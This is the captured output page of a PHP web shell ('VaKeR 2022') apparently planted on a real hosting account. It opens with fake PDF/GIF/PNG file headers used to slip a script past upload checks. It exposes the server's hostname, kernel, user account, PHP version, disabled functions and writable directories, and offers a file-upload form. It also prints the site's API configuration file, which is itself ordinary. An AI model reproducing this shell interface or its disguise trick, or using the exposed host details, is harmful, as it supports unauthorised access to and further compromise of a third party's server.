%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/public_html/admin1/config/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/public_html/admin1/config/api.php
<?php

return [

    /**
     * Default number of records to return when no limit is specified
     */
    'defaultLimit' => 10,

    /**
     * Maximum number of records to return in single request. This limit is used
     * when user enters large number in limit parameter of the request
     */
    'maxLimit' => 1000,

    /*
     * Add allow cross origin headers. It is recommended by APIs to allow cross origin
     * requests. But, you can disable it.
     */
    'cors' => true,

    /**
     * Which headers are allowed in CORS requests
     */
    'cors_headers' => ['Authorization', 'Content-Type'],

    /**
     * List of fields that should not be considered while saving a model
     */
    'excludes' => ['_token'],

    /**
     * Prefix for all the routes
     */
    'prefix' => 'api',

    /**
     * Default version for the API. Set null to disable versions
     */
    'default_version' => 'v1',

    /**
     * Relation method name case snakecase|camelcase default it is snake case
     */
    'relation_case' => 'camelcase'
];

VaKeR 2022